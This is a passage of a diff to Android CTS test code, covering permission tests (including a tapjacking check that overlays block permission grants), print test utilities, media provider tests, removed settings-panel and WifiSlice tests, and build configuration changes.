+    fun assumeNotIndividuallyControlled() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+    }
+
     @Before
     fun installApp22CalendarOnly() {
         installPackage(APP_APK_PATH_22_CALENDAR_ONLY)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index a5f8939..5360f1d 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -17,6 +17,7 @@
 package android.permission3.cts
 
 import android.Manifest.permission.ACCESS_FINE_LOCATION
+import android.content.Intent
 import android.content.pm.PackageManager
 import android.support.test.uiautomator.By
 import com.android.compatibility.common.util.SystemUtil
@@ -42,26 +43,46 @@
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
 
+        val buttonCenter = waitFindObject(By.text(
+                getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT))).visibleCenter
+
         // Wait for overlay to hide the dialog
+        context.sendBroadcast(Intent(ACTION_SHOW_OVERLAY))
         waitFindObject(By.res("android.permission3.cts.usepermission:id/overlay_description"))
+
         try {
             // Try to grant the permission, this should fail
             SystemUtil.eventually({
                 if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
                         PackageManager.PERMISSION_DENIED) {
-                    clickPermissionRequestAllowForegroundButton(100)
+                    uiDevice.click(buttonCenter.x, buttonCenter.y)
+                    Thread.sleep(100)
                 }
                 assertAppHasPermission(ACCESS_FINE_LOCATION, true)
             }, 10000)
         } catch (e: RuntimeException) {
             // expected
         }
-        // Permission should not be granted and dialog should still be showing
+        // Permission should not be granted
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
 
         // On Automotive the dialog gets closed by the tapjacking activity popping up
         if (!isAutomotive) {
-            clickPermissionRequestAllowForegroundButton()
+            // Verify that clicking the dialog without the overlay still works
+            context.sendBroadcast(Intent(ACTION_HIDE_OVERLAY))
+            SystemUtil.eventually({
+                if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
+                        PackageManager.PERMISSION_DENIED) {
+                    uiDevice.click(buttonCenter.x, buttonCenter.y)
+                    Thread.sleep(100)
+                }
+                assertAppHasPermission(ACCESS_FINE_LOCATION, true)
+            }, 10000)
         }
     }
-}
\ No newline at end of file
+
+    companion object {
+        const val ACTION_SHOW_OVERLAY = "android.permission3.cts.usepermission.ACTION_SHOW_OVERLAY"
+        const val ACTION_HIDE_OVERLAY = "android.permission3.cts.usepermission.ACTION_HIDE_OVERLAY"
+    }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest22.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest22.kt
old mode 100644
new mode 100755
index 7d06770..8fdddfb
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest22.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest22.kt
@@ -16,6 +16,7 @@
 
 package android.permission3.cts
 
+import org.junit.Assume
 import org.junit.Before
 import org.junit.Test
 
@@ -23,8 +24,11 @@
  * Runtime permission behavior tests for apps targeting API 22.
  */
 class PermissionTest22 : BaseUsePermissionTest() {
+
     @Before
     fun installApp22AndApprovePermissionReview() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+
         installPackage(APP_APK_PATH_22)
         approvePermissionReview()
     }
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
index 59cb9aa..31e6f3a 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
@@ -17,6 +17,7 @@
 package android.permission3.cts
 
 import androidx.test.filters.FlakyTest
+import org.junit.Assume
 import org.junit.Before
 import org.junit.Test
 
@@ -232,6 +233,8 @@
     @Test(timeout = 120000)
     @FlakyTest
     fun testNoResidualPermissionsOnUninstall() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+
         // Grant all permissions
         grantAppPermissions(
             android.Manifest.permission.WRITE_CALENDAR,
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionUpgradeTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionUpgradeTest.kt
index fcfc1bb..de58d43 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionUpgradeTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionUpgradeTest.kt
@@ -16,6 +16,7 @@
 
 package android.permission3.cts
 
+import org.junit.Assume
 import org.junit.Test
 
 /**
@@ -25,6 +26,8 @@
 
     @Test
     fun testUpgradeKeepsPermissions() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+
         installPackage(APP_APK_PATH_22)
 
         approvePermissionReview()
@@ -80,6 +83,8 @@
 
     @Test
     fun testRevokePropagatedOnUpgradeOldToNewModel() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+
         installPackage(APP_APK_PATH_22)
 
         approvePermissionReview()
diff --git a/tests/tests/preference/Android.bp b/tests/tests/preference/Android.bp
index 4be4c95..4d99904 100644
--- a/tests/tests/preference/Android.bp
+++ b/tests/tests/preference/Android.bp
@@ -26,6 +26,7 @@
         "compatibility-device-util-axt",
         "mockito-target-minus-junit4",
         "ub-uiautomator",
+        "cts-wm-util",
     ],
 
     libs: [
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
index ba6182a..29cf672 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
@@ -16,9 +16,12 @@
 
 package android.preference.cts;
 
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static org.junit.Assert.assertTrue;
 
+import android.content.ComponentName;
 import android.graphics.Bitmap;
+import android.server.wm.WindowManagerStateHelper;
 
 import androidx.test.filters.LargeTest;
 import androidx.test.rule.ActivityTestRule;
@@ -43,6 +46,9 @@
     // Helper strings to ensure that some parts of preferences are visible or not.
     private static final String LEGACY_SCREEN_TEXT = "Preset Title";
 
+    static final String TEST_APP_PACKAGE = "android.preference.cts";
+    private static final String TEST_APP_ACTIVITY = TEST_APP_PACKAGE + ".PreferencesFromXml";
+
     private TestUtils mTestUtils;
     private PreferencesFromXml mActivity;
 
@@ -74,7 +80,7 @@
         Bitmap before = mTestUtils.takeScreenshot();
 
         recreate();
-
+        
         // Compare screenshots
         Bitmap after = mTestUtils.takeScreenshot();
         assertScreenshotsAreEqual(before, after);
@@ -83,6 +89,9 @@
     private void recreate() {
         runOnUiThread(() -> mActivity.recreate());
         mTestUtils.waitForIdle();
+        ComponentName testComponentName = new ComponentName(TEST_APP_PACKAGE, TEST_APP_ACTIVITY);
+        waitForActivityState(testComponentName, STATE_RESUMED);
+
     }
 
     private void runOnUiThread(final Runnable runnable) {
@@ -101,4 +110,8 @@
         assertTrue(mTestUtils.isTextShown(text));
     }
 
+    public void waitForActivityState(ComponentName activityName, String activityState) {
+        new WindowManagerStateHelper().waitForActivityState(activityName, activityState);
+    }
+
 }
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
index 3128b17..dd5e497 100755
--- a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -35,6 +35,7 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -118,6 +119,7 @@
     private static final String COMMAND_PREFIX_DISABLE_IME = "ime disable ";
     private static final int CURRENT_USER_ID = -2; // Mirrors UserHandle.USER_CURRENT
     private static final String PRINTSPOOLER_PACKAGE = "com.android.printspooler";
+    private static final long GET_UIAUTOMATION_TIMEOUT_MS = 60000;
 
     private static final AtomicInteger sLastTestID = new AtomicInteger();
     private int mTestId;
@@ -150,7 +152,7 @@
     private static String[] getEnabledImes() throws IOException {
         List<String> imeList = new ArrayList<>();
 
-        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+        ParcelFileDescriptor pfd = getUiAutomation()
                 .executeShellCommand(COMMAND_LIST_ENABLED_IME_COMPONENTS);
         try (BufferedReader reader = new BufferedReader(
                 new InputStreamReader(new FileInputStream(pfd.getFileDescriptor())))) {
@@ -187,6 +189,18 @@
         return InstrumentationRegistry.getInstrumentation();
     }
 
+    public static UiAutomation getUiAutomation() {
+        long start = SystemClock.uptimeMillis();
+        while (SystemClock.uptimeMillis() - start < GET_UIAUTOMATION_TIMEOUT_MS) {
+            UiAutomation ui = getInstrumentation().getUiAutomation();
+            if (ui != null) {
+                return ui;
+            }
+        }
+
+        throw new AssertionError("Failed to get UiAutomation");
+    }
+
     @BeforeClass
     public static void setUpClass() throws Exception {
         Log.d(LOG_TAG, "setUpClass()");
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java b/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
index b7f9fe6..80fc907 100644
--- a/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
@@ -16,7 +16,7 @@
 
 package android.print.test;
 
-import static android.print.test.BasePrintTest.getInstrumentation;
+import static android.print.test.BasePrintTest.getUiAutomation;
 
 import android.content.Context;
 import android.os.Handler;
@@ -170,7 +170,7 @@
      * Get the {@link PrintServiceDumpProto}
      */
     public static PrintServiceDumpProto getProtoDump() throws Exception {
-        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+        ParcelFileDescriptor pfd = getUiAutomation()
                 .executeShellCommand("dumpsys print --proto");
 
         try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 7d861a5..3d4c84c 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -18,8 +18,6 @@
     ],
 
     static_libs: [
-        "androidx.slice_slice-core",
-        "androidx.slice_slice-view",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "junit",
@@ -44,3 +42,9 @@
 
     data: [":CtsProviderGalleryTestApp"],
 }
+
+filegroup {
+    name: "CtsProviderTestUtils",
+    srcs: ["src/android/provider/cts/ProviderTestUtils.java",
+           "src/android/provider/cts/media/MediaStoreUtils.java"],
+}
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 84d2528..a4f55b3 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -46,8 +46,6 @@
     <uses-permission android:name="android.permission.READ_CONTACTS" />
     <uses-permission android:name="android.permission.READ_SMS" />
     <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
 
     <application>
         <uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index c3263773..5861cd2 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -2,8 +2,8 @@
 nandana@google.com
 zezeozue@google.com
 jsharkey@android.com
+corinac@google.com
 tgunn@google.com
 nicksauer@google.com
 nona@google.com
 omakoto@google.com
-
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index 942d4f4..e24c3e1 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -73,6 +73,7 @@
 import java.security.MessageDigest;
 import java.util.HashSet;
 import java.util.Objects;
+import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -94,8 +95,16 @@
     public static Iterable<String> getSharedVolumeNames() {
         // We test both new and legacy volume names
         final HashSet<String> testVolumes = new HashSet<>();
-        testVolumes.addAll(
-                MediaStore.getExternalVolumeNames(InstrumentationRegistry.getTargetContext()));
+        final Set<String> volumeNames = MediaStore.getExternalVolumeNames(
+                InstrumentationRegistry.getTargetContext());
+        // Run tests only on VISIBLE volumes which are FUSE mounted and indexed by MediaProvider
+        for (String vol : volumeNames) {
+            final File mountedPath = getVolumePath(vol);
+            if (mountedPath == null || mountedPath.getAbsolutePath() == null) continue;
+            if (mountedPath.getAbsolutePath().startsWith("/storage/")) {
+                testVolumes.add(vol);
+            }
+        }
         testVolumes.add(MediaStore.VOLUME_EXTERNAL);
         return testVolumes;
     }
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index e18a365..660da6d 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -56,13 +56,6 @@
     private static final String RESOURCE_DONE = "done";
     private static final String RESOURCE_SEE_MORE = "see_more";
     private static final String RESOURCE_TITLE = "panel_title";
-    private static final String RESOURCE_HEADER = "header_title";
-    private static final String TEST_PACKAGE_NAME = "test_package_name";
-    private static final String MEDIA_OUTPUT_TITLE_NAME = "Media";
-    private static final String ACTION_MEDIA_OUTPUT =
-            "com.android.settings.panel.action.MEDIA_OUTPUT";
-    private static final String EXTRA_PACKAGE_NAME =
-            "com.android.settings.panel.extra.PACKAGE_NAME";
 
     private String mSettingsPackage;
     private String mLauncherPackage;
@@ -131,26 +124,6 @@
     }
 
     @Test
-    public void mediaOutputPanel_withPackageNameExtra_correctPackage() {
-        assumeTrue(mHasTouchScreen);
-        launchMediaOutputPanel(TEST_PACKAGE_NAME);
-
-        String currentPackage = mDevice.getCurrentPackageName();
-
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
-    }
-
-    @Test
-    public void mediaOutputPanel_noPutPackageNameExtra_correctPackage() {
-        assumeTrue(mHasTouchScreen);
-        launchMediaOutputPanel(null /* packageName */);
-
-        String currentPackage = mDevice.getCurrentPackageName();
-
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
-    }
-
-    @Test
     public void wifiPanel_correctPackage() {
         launchWifiPanel();
 
@@ -160,15 +133,6 @@
     }
 
     @Test
-    public void mediaOutputPanel_correctTitle() {
-        assumeTrue(mHasTouchScreen);
-        launchMediaOutputPanel(TEST_PACKAGE_NAME);
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_HEADER));
-
-        assertThat(titleView.getText()).isEqualTo(MEDIA_OUTPUT_TITLE_NAME);
-    }
-    @Test
     public void internetPanel_doneClosesPanel() {
         // Launch panel
         launchInternetPanel();
@@ -230,23 +194,6 @@
     }
 
     @Test
-    public void mediaOutputPanel_doneClosesPanel() {
-        assumeTrue(mHasTouchScreen);
-        // Launch panel
-        launchMediaOutputPanel(TEST_PACKAGE_NAME);
-        String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
-
-        // Click the done button
-        mDevice.findObject(By.res(currentPackage, RESOURCE_DONE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
-        // Assert that we have left the panel
-        currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
-    }
-
-    @Test
     public void internetPanel_seeMoreButton_launchesIntoSettings() {
         // Launch panel
         launchInternetPanel();
@@ -316,20 +263,6 @@
         assertThat(titleView).isNull();
     }
 
-    @Test
-    public void mediaOutputPanel_seeMoreButton_doNothing() {
-        assumeTrue(mHasTouchScreen);
-        // Launch panel
-        launchMediaOutputPanel(TEST_PACKAGE_NAME);
-        String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
-
-        // Find the see more button
-        // SeeMoreIntent is null in MediaOutputPanel, so the see more button will not visible.
-        UiObject2 seeMoreView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE));
-        assertThat(seeMoreView).isNull();
-    }
-
     private void launchVolumePanel() {
         launchPanel(Settings.Panel.ACTION_VOLUME);
     }
@@ -338,10 +271,6 @@
         launchPanel(Settings.Panel.ACTION_INTERNET_CONNECTIVITY);
     }
 
-    private void launchMediaOutputPanel(String packageName) {
-        launchPanel(ACTION_MEDIA_OUTPUT, packageName);
-    }
-
     private void launchNfcPanel() {
         assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC));
         launchPanel(Settings.Panel.ACTION_NFC);
@@ -353,10 +282,6 @@
     }
 
     private void launchPanel(String action) {
-        launchPanel(action,  null /* packageName */);
-    }
-
-    private void launchPanel(String action, String packageName) {
         // Start from the home screen
         mDevice.pressHome();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
@@ -364,7 +289,6 @@
         Intent intent = new Intent(action);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                 | Intent.FLAG_ACTIVITY_CLEAR_TASK);    // Clear out any previous instances
-        intent.putExtra(EXTRA_PACKAGE_NAME, packageName);
         mContext.startActivity(intent);
 
         // Wait for the app to appear
diff --git a/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java b/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
deleted file mode 100644
index da5c713..0000000
--- a/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.content.pm.PackageManager.PERMISSION_GRANTED;
-
-import static com.google.common.truth.Truth.assertThat;
-import static org.junit.Assume.assumeFalse;
-
-import android.app.slice.Slice;
-import android.app.slice.SliceManager;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.os.Process;
-
-import android.net.wifi.WifiManager;
-import android.util.Log;
-
-import androidx.slice.SliceConvert;
-import androidx.slice.SliceMetadata;
-import androidx.slice.core.SliceAction;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import java.util.Collections;
-import java.util.List;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class WifiSliceTest {
-  private static final String TAG = "WifiSliceTest";
-
-  private static final Uri WIFI_SLICE_URI =
-          Uri.parse("content://android.settings.slices/action/wifi");
-
-  private static final String ACTION_ASSIST = "android.intent.action.ASSIST";
-  private static final String ACTION_VOICE_ASSIST = "android.intent.action.VOICE_ASSIST";
-  private static final String CATEGORY_DEFAULT = "android.intent.category.DEFAULT";
-  private static final String FEATURE_VOICE_RECOGNIZERS = "android.software.voice_recognizers";
-
-  private final Context mContext = InstrumentationRegistry.getContext();
-  private final SliceManager mSliceManager = mContext.getSystemService(SliceManager.class);
-  private final boolean mHasVoiceRecognizersFeature =
-          mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS);
-
-  private Slice mWifiSlice;
-
-  @Before
-  public void setUp() throws Exception {
-    assumeFalse("Skipping test: Auto does not support provider android.settings.slices", isCar());
-    assumeFalse("Skipping test: TV does not support provider android.settings.slices", isTv());
-    mWifiSlice = mSliceManager.bindSlice(WIFI_SLICE_URI, Collections.emptySet());
-  }
-
-  @Test
-  public void wifiSliceToggle_changeWifiState() {
-    SliceMetadata mWifiSliceMetadata =
-            SliceMetadata.from(mContext, SliceConvert.wrap(mWifiSlice, mContext));
-    List<SliceAction> wifiSliceActions = mWifiSliceMetadata.getToggles();
-    if (wifiSliceActions.size() != 0) {
-      SliceAction toggleAction = wifiSliceActions.get(0);
-
-      toggleAction.setChecked(true);
-      assertThat(toggleAction.isChecked()).isEqualTo(isWifiEnabled());
-
-      toggleAction.setChecked(false);
-      assertThat(toggleAction.isChecked()).isEqualTo(isWifiEnabled());
-    }
-  }
-
-  @Test
-  public void wifiSlice_hasCorrectUri() {
-    assertThat(mWifiSlice.getUri()).isEqualTo(WIFI_SLICE_URI);
-  }
-
-  @Test
-  public void wifiSlice_grantedPermissionToDefaultAssistant() throws NameNotFoundException {
-    if (!mHasVoiceRecognizersFeature) {
-      Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
-      return;
-    }
-    final PackageManager pm = mContext.getPackageManager();
-    final Intent requestDefaultAssistant =
-            new Intent(ACTION_ASSIST).addCategory(CATEGORY_DEFAULT);
-
-    final ResolveInfo info = pm.resolveActivity(requestDefaultAssistant, 0);
-
-    if (info != null) {
-      final int testPid = Process.myPid();
-      final int testUid = pm.getPackageUid(info.activityInfo.packageName,  0);
-
-      assertThat(mSliceManager.checkSlicePermission(WIFI_SLICE_URI, testPid, testUid))
-              .isEqualTo(PERMISSION_GRANTED);
-    }
-  }
-
-  @Test
-  public void wifiSlice_grantedPermissionToDefaultVoiceAssistant() throws NameNotFoundException {
-    if (!mHasVoiceRecognizersFeature) {
-      Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
-      return;
-    }
-    final PackageManager pm = mContext.getPackageManager();
-    final Intent requestDefaultAssistant =
-            new Intent(ACTION_VOICE_ASSIST).addCategory(CATEGORY_DEFAULT);
-
-    final ResolveInfo info = pm.resolveActivity(requestDefaultAssistant, 0);
-
-    if (info != null) {
-      final int testPid = Process.myPid();
-      final int testUid = pm.getPackageUid(info.activityInfo.packageName,  0);
-
-      assertThat(mSliceManager.checkSlicePermission(WIFI_SLICE_URI, testPid, testUid))
-              .isEqualTo(PERMISSION_GRANTED);
-    }
-  }
-
-  private boolean isCar() {
-    PackageManager pm = mContext.getPackageManager();
-    return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
-  }
-
-  private boolean isTv() {
-    PackageManager pm = mContext.getPackageManager();
-    return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-            && pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-  }
-
-  private boolean isWifiEnabled() {
-    final WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
-    return wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLED
-            || wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLING;
-  }
-
-}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
index 3bb3ca3..797fd14 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
@@ -28,6 +28,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.provider.MediaStore;
+import android.provider.cts.ProviderTestUtils;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -58,7 +59,7 @@
 
     @Parameters
     public static Iterable<? extends Object> data() {
-        return MediaStore.getExternalVolumeNames(InstrumentationRegistry.getTargetContext());
+        return ProviderTestUtils.getSharedVolumeNames();
     }
 
     @Before
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
index 479c3ab..11a0e66 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
@@ -17,8 +17,6 @@
 package android.provider.cts.media;
 
 import static android.provider.cts.ProviderTestUtils.assertColorMostlyEquals;
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
 import static android.provider.cts.ProviderTestUtils.extractAverageColor;
 import static android.provider.cts.media.MediaStoreTest.TAG;
 
@@ -51,6 +49,9 @@
 import android.provider.cts.R;
 import android.provider.cts.media.MediaStoreUtils.PendingParams;
 import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.util.Size;
@@ -69,6 +70,7 @@
 
 import java.io.File;
 import java.io.FileNotFoundException;
+import java.io.IOException;
 import java.io.OutputStream;
 import java.util.ArrayList;
 
@@ -211,7 +213,7 @@
         c.close();
 
         ProviderTestUtils.waitForIdle();
-        assertExists("image file does not exist", imagePath);
+        assertFileExists(imagePath);
         assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
         assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
 
@@ -222,7 +224,7 @@
         mRowsAdded.remove(stringUri);
 
         ProviderTestUtils.waitForIdle();
-        assertNotExists("image file should no longer exist", imagePath);
+        assertFileNotExists(imagePath);
         assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
         assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
 
@@ -234,10 +236,10 @@
         imageId = c.getLong(c.getColumnIndex(Media._ID));
         imagePath = c.getString(c.getColumnIndex(Media.DATA));
         c.close();
-        assertExists("image file does not exist", imagePath);
+        assertFileExists(imagePath);
         Uri fileuri = MediaStore.Files.getContentUri("external", imageId);
         mContentResolver.delete(fileuri, null, null);
-        assertNotExists("image file should no longer exist", imagePath);
+        assertFileNotExists(imagePath);
     }
 
     @Test
@@ -503,4 +505,26 @@
         bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
     }
 
+    private static void assertFileExists(String path) throws Exception {
+        try {
+            Os.access(path, OsConstants.F_OK);
+        } catch (ErrnoException e) {
+            if (e.errno == OsConstants.ENOENT) {
+                fail("File " + path + " doesn't exist.");
+            } else {
+                throw e;
+            }
+        }
+    }
+
+    private static void assertFileNotExists(String path) throws Exception {
+        try {
+            Os.access(path, OsConstants.F_OK);
+            fail("File " + path + " exists.");
+        } catch (ErrnoException e) {
+            if (e.errno != OsConstants.ENOENT) {
+                throw e;
+            }
+        }
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 88295eb..5026c0ed 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -89,6 +89,7 @@
         Log.d(TAG, "Using volume " + mVolumeName);
         mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
         mExternalFiles = MediaStore.Files.getContentUri(mVolumeName);
+        mContext.getExternalMediaDirs();
     }
 
     @Test
diff --git a/tests/tests/renderscriptlegacy/AndroidTest.xml b/tests/tests/renderscriptlegacy/AndroidTest.xml
index 33dff52..43fa7ee 100644
--- a/tests/tests/renderscriptlegacy/AndroidTest.xml
+++ b/tests/tests/renderscriptlegacy/AndroidTest.xml
@@ -19,6 +19,11 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <!-- The test can only run on 32 bit abi  -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.ArchModuleController">
+        <option name="arch" value="x86" />
+        <option name="arch" value="arm" />
+    </object>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRenderscriptLegacyTestCases.apk" />
diff --git a/tests/tests/sdkextensions/Android.bp b/tests/tests/sdkextensions/Android.bp
deleted file mode 100644
index 89b241b..0000000
--- a/tests/tests/sdkextensions/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
-    name: "CtsSdkExtensionsTestCases",
-    defaults: ["cts_defaults"],
-    static_libs: [
-        "androidx.test.rules",
-        "ctstestrunner-axt",
-    ],
-    srcs: [ "src/**/*.java" ],
-    test_config: "CtsSdkExtensionsTestCases.xml",
-    test_suites: [
-        "cts",
-        "mts",
-        "general-tests",
-    ],
-    sdk_version: "system_current",
-}
